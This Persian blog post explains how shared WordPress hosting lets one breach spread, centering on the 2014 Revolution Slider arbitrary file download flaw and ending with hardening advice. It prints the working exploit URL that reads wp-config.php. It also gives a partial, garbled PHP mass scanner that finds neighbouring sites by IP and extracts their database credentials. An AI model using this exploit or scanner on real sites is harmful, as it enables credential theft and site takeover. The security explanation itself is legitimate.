هک سایت های وردپرسی در هاست های اشتراکی

چگونه با هک شدن یک سایت وردپرسی روی هاست های اشتراکی بقیه سایت های وردپرسی هم به خطر می افتند؟

با هک شدن یک سایت وردپرسی روی هاست های اشتراکی بقیه سایت ها هم به خطر می افتند اما چگونه ؟

وقتی هکری به یکی از سایت های وردپرسی روی سرور نفوذ می کند می تواند با اسکریپتی ساده به فایل های بقیه سایت های روی سرور که سطح دسترسی یکسانی دارند دست پیدا کند . این آسیب پذیری cross-site contamination نامیده می شود که ناشی از درست تنظیم نکردن پرمیژن ها توسط شخص یا شرکتی است که سرور را کانفیگ کرده است (System Administrator).

همانطوری که می دانید ساختار تمام سایت های وردپرسی به یک شکل می باشد مثلا در بیشتر آن ها فایل wp-config.php حاوی اطلاعات دیتابیس می باشد؛ بسیار مهم است که به افراد غریبه(بقیه کاربران سرور) اجازه دسترسی به این فایل را ندهید درصورتی که هکری به این فایل دسترسی پیدا کند می تواند یک یوزر با سطح دسترسی ادمین ایجاد کند و به کل سایت دسترسی داشته باشد.

چگونه به افراد غریبه اجازه دسترسی به فایل های مهم وردپرسی را ندهیم؟

شرکت های هاست دهی و صاحبان وب سایت ها می توانند دو کار مهم برای جلوگیری از این گونه حملات انجام دهند:

  1. قطع دسترسی تمام کاربران به جز صاحب وب سایت و سرور به فایل wp-config.php . که این کار با تنظیم پرمیژن ۴۰۰ ( فقط خواندن ) انجام می شود.
  2. Remote Mysql Connection را می بندند و اجازه اتصال به دیتابیس را فقط به IP سرور محدود می کنند

با استفاده از این دو کار ساده تا وقتی که وب سایت شما آسیب پذیری arbitrary file download را نداشته باشد باعث جلوگیری از بسیاری از حملات می شود .

آسیب پذیری Arbitrary File Download

این آسیب پذیری به هکر ها این اجازه را می دهد که به وب سایت شما درخواست هایی را بفرستند و فایل ها را از روی سرور شما دانلود یا مشاهده کنند . این آسیب پذیری یکی از آسیب پذیری های شایع در تم ها و پلاگین های وردپرس می باشد مثلا در سال ۲۰۱۴ این آسیب پذیری در یکی از محبوب ترین پلاگین های وردپرس به نام revolution slider کشف شد و باعث هک شدن صد ها هزار سایت وردپرسی شد.

در این آسیب پذیری فرد نفوذگر با ارسال یک درخواست ساده با متد get می توانست فایل wp-config.php را ببینید :

http://target.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

همین درخواست ساده باعث هک شدن هزاران سایت وردپرسی شد ؛ هکر ها با ارسال این درخواست به راحتی محتویات فایل wp-config.php را می خواندند و با اتصال به دیتابیس یک کاربر جدید با سطح دسترسی ادمین می ساختند و …

محدود کردن سطح دسترسی هیچ کمکی نمی کند

در این مورد خاص سطح دسترسی ۴۰۰ هم هیچ کمکی نمی کند زیرا با این سطح دسترسی فایل wp-config.php می تواند توسط وب سرور خوانده شود (این امر برای کار کردن وردپرس ضروری می باشد)

محدود کردن اتصال به دیتابیس ؟ 

تا حدودی محدود کردن اتصال به دیتابیس می تواند کمک کند ، دیگر هکر ها نمی توانند از کامپیوتر شخصی شان به دیتابیس سایت شما متصل شوند اما این مورد هم در هاست های اشتراکی قابل دور زدن می باشد کافی است هکر مورد نظر تنها یکی از سایت های روی سرور را هک کند ، حالا با استفاده از اسکریپتی بنام Adminer به دیتابیس متصل می شود و کاربر جدید می سازد و …

اسکن سایت های آسیب پذیر

اسکریپت‌های قدرتمندی در این زمینه وجود دارد اما اگر دسترسی روت نداریدمی‌توانید از اسکریپت زیر استفاده کنید و چک کنید که آیا سایت‌های روی سرور این آسیب پذیری را دارا هستند(اسیب پذیری در پلاگین revslider) یا خیر (این اسکریپت برای پیدا کردن سایت‌هایروی سرور از موتور جست‌وجو بینگ استفاده می‌کند بنابراین بازده آن ۱۰۰% نمی‌باشد):

set_time_limit(0);
error_reporting(0);
$ip=trim(fgets(STDIN,1024));
$ip = explode('.',$ip);
$ip = $ip[0].'.'.$ip[1].'.'.$ip[2].'.';
for($i=0;$i <= 255;$i++)
{
    $sites = array_map(&quotsite&quot, bing(&quotip:$ip.$i wordpress&quot));
    $un=array_unique($sites);
    echo &quot[+] Scanning -> &quot, $ip.$i, &quot&quot.&quot\n&quot
    echo &quotFound By Pro.AlaaCool : &quot.count($sites).&quot sites\n\n&quot
    foreach($un as $pok){
    $host=findit($file,&quotDB_HOST', '&quot,&quot');&quot);
    $db=findit($file,&quotDB_NAME', '&quot,&quot');&quot);
    $us=findit($file,&quotDB_USER', '&quot,&quot');&quot);
    $pw=findit($file,&quotDB_PASSWORD', '&quot,&quot');&quot);
    $bda=&quothttp://$pok&quot
    $linkof='/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php';
    $dn=($bda).($linkof)
    ...

لینک اسکریپت

چگونه سایت خود را از این گونه حملات محفوظ نگه داریم؟

در این پست دیدید که امکان دارد فقط به این دلیل که سایت خود را بر روی یک‌هاست اشتراکی بنا نهاده ایید به راحتی هک شوید در حالی که شاید هکر حتی با سایت شما آشنا هم نبوده است. در واقع راه صددرصدیی وجود ندارد که سایت شما را در مقابل این گونه حملات محافظت کند. اما با رعایت این نکات می‌توانیدسطح امنیتی وب سایت خود را ارتقا بخشید:

  1. وب سایت خود را به یک‌هاست اختصاصی یا اختصاصی تر منتقل کنید.
  2. از شرکت های مطمئن‌هاست تهیه کنید.
  3. با اسکنرهای قدرتمند وب سایت خود را اسکن کنید تا از آسیب پذیر نبودن آن مطمئن شوید.
  4. از فایروال‌های امنیتی مناسب برای وب سایت خود استفاده کنید.